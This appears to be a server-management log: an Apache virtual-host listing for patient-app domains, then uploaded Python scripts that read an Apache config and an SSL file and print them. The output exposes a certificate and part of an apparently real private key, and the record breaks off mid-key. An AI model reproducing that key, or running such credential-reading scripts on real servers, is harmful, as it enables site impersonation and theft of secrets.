namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
alias www.ma1-savr.myapp.care
port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
alias www.ma1-shem.myapp.care
port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
alias www.ma1-sspr.myapp.care
port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
alias www.ma1-tosr.myapp.care
port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
alias www.ma1-tylo.myapp.care
port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
alias www.ma1-typa.myapp.care
port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
alias www.ma1-tyto.myapp.care
port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
alias www.ma1-utfa.myapp.care
port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
alias www.ma1-vasc.myapp.care
port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
alias www.ma1-vasr.myapp.care
port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
alias www.ma2-acrp.myapp.care
port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
alias www.ma2-anar.myapp.care
port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
alias www.ma2-anfr.myapp.care
port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
alias www.ma2-anin.myapp.care
port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
alias www.ma2-anrp.myapp.care
port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
alias www.ma2-buni.myapp.care
port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
alias www.ma2-chel.myapp.care
port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
alias www.ma2-hamm.myapp.care
port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
alias www.ma2-hind.myapp.care
port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
alias www.ma2-lcl.myapp.care
port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
alias www.ma2-mdfu.myapp.care
port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
alias www.ma2-mtfp.myapp.care
port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
alias www.ma2-rcl.myapp.care
port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
alias www.pai-lc.myapp.care
port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
alias 847670.myapp.care
alias 573398.myapp.care
port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
alias www.pai-rco.myapp.care
port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
alias www.sma1-lgb.myapp.care
port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
alias www.sma1-lrygb.myapp.care
port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
alias www.sma1-lsg.myapp.care
port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
alias www.sma1-pcnl.myapp.care
port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
alias www.test.myapp.care
port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
alias www.version2.myapp.care
wild alias *.myapp.care
port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
alias live.patientapps.net
port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
alias www.patientapps.net
port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
alias store.patientapps.com
alias store.patientapps.co
port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-06 12:45:36:
PUT: /tmp/pkp688696
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_preview_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-06 12:45:36:
chmod 755 /tmp/pkp688696; /tmp/pkp688696; rm /tmp/pkp688696
2026-01-06 12:45:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 1436
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-06 12:45:36:
PUT: /tmp/pkp499544
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-06 12:45:36:
chmod 755 /tmp/pkp499544; /tmp/pkp499544; rm /tmp/pkp499544
2026-01-06 12:45:36:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt 5381
70:a1:7b:d4:cf:4e:0f:47:af:c3:f2:6f:3f:15:73:d2
-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBVn7HrnYNmiD7xM1evu4P/y8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NzAxWhcNMjYwNDA2MTE0NzAwWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBANWFZKYOpyV0mN9UsbxVpAnnyb28+KdguOhoJij1Qzg4PpGPjbDe
Z7jFxKC3+OpOlfgjo0acH7yyTT9wGaPu5cDQArDK/xlkvME24aEfRACIDK7vrMiM
oUdDaDfeLNGRUV8KRsGrtleoGgeOhlxL5JImbzXh5r6kU/hqOTMHk4E6CJYJPKCJ
hIwbxJ/+7u/Rb5AgGi3SEoyXCikWpp0b8Lnmz4fxRbjksSmnhUhJ/HtYd329R8cQ
ol8TnwUSwfNcZ33yduPjkYXcbfOGFgVN2c2CSpdMHla4BuaZmhCIwfJTpqGxHQrT
qGTqV8anxX8Re9ayQbjppdTL3PADSxzguA0CAwEAAaOCAi4wggIqMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUYiX6pPL0Al+Qd7vHy2vnHO+pAwcwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzYxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAAB
m5NXUTYACAAABQAuCEkTBAMARjBEAiA01wNIw/FqunvLtbk50FMfptP6cOVTaE64
suOjfDAJ0AIgPayJkOAsxrj2qyXD1+A/nsvtLeUIfk+phFkuURsWCvAAdgCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZuTV1k+AAAEAwBHMEUCIFT8
3oKcxq7yyXCCGXw7ieaQD+Cqrd6sOybu858/FVd6AiEAlU0nbOSOmzr6LjQhcd0U
3tk3qdxFQTVYLr9oxftWFAkwDQYJKoZIhvcNAQELBQADggEBABawLeAX4Uc4hnq5
qYr38OiSps+ne2a8hqJyR+fSYJ9g7az8omx1Y+LxGRDXam3k2fY7YqDYl+EXi0TJ
4AZCYrs0ULzy5HGIqwlPnS37pSNGL/vJVB+/HdRscBuEWZUmK7X23Ss8XhKUXODE
p4uOd2V/hGWTXDy7kwt+Q3Swqr7eks/uQKN3QBeFSwKJrhrOiEubztCAMGw1vkMJ
zqc0OrYZx0iyB4+vWuD97r84cflxLT94mdNcFeyUdr2NAwJ/yg8ST5ljWzGE91Wn
lGY1r5sHATqzfiKzS1Smta1ZC5Ijyf5J+BsVKiQYDNxGNrNpzB713caRkfRNDwVu
gotpn+0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDVhWSmDqcldJjf
VLG8VaQJ58m9vPinYLjoaCYo9UM4OD6Rj42w3me4xcSgt/jqTpX4I6NGnB+8sk0/
cBmj7uXA0AKwyv8ZZLzBNuGhH0QAiAyu76zIjKFHQ2g33izRkVFfCkbBq7ZXqBoH
joZcS+SSJm814ea+pFP4ajkzB5OBOgiWCTygiYSMG8Sf/u7v0W+QIBot0hKMlwop
FqadG/C55s+H8UW45LEpp4VISfx7WHd9vUfHEKJfE58FEsHzXGd98nbj45GF3G3z
hhYFTdnNgkqXTB5WuAbmmZoQiMHyU6ahsR0K06hk6lfGp8V/EXvWskG46aXUy9zw
A0sc4LgNAgMBAAECggEAKyGfg7XJCNVlPhPXNWKdWMzkITpHhlQQ9g13y+VDV1tx
NCkp55T9ocL9ZbPUCcynGbFlPZGzDYR8+zgTTdynt4utR3YyEriZMnR6Hnh43Zyd
50aOAhL6TzFsH4D3T7wJkme6hEvB8TIJVAZz2LgR633tEBbabB84wSD//fFlWAB5
Cab7BoGYJbx/mps7bF1/ZIBf8WRuDxi4ZtzuPccTW5aXTbExizIkd00+P0hKWuq7
3UoG2uhBx2EHilkyUs2xvC5ihG5PyRv9UU12w6R1HPl/oQVz6u7/+UHWb6xL3eXg
LndR9X1JFNKO4MFzRiBD6YI/cbBYQ60hlmNvMmPn1wKBgQD0BqUhVvo/yAGSARI4
RbzO/0JSjmCG0pRJoVseNyhJoCqiqNtV4UfV+cG1oQIrSDw221ec7Pb1cB2N2gAo
PsIPWOSXrGP7pRLG0mSKkK0dwmNxFOCrM4pDLSCfwrY5sJqjI+ouF9Wjme2Vn7lQ
7/FSVtgG/4HV1lVp1L3mzh52zwKBgQDf/47ePS5p4Mbu8nJYUwZGFedGjJx54KbD
cFtRHiyjSbFx7hKE7Vgx9KmrowQQwhSqrlSb4FWgwgFQOvap/Nj8zmj3nVo9kKhE
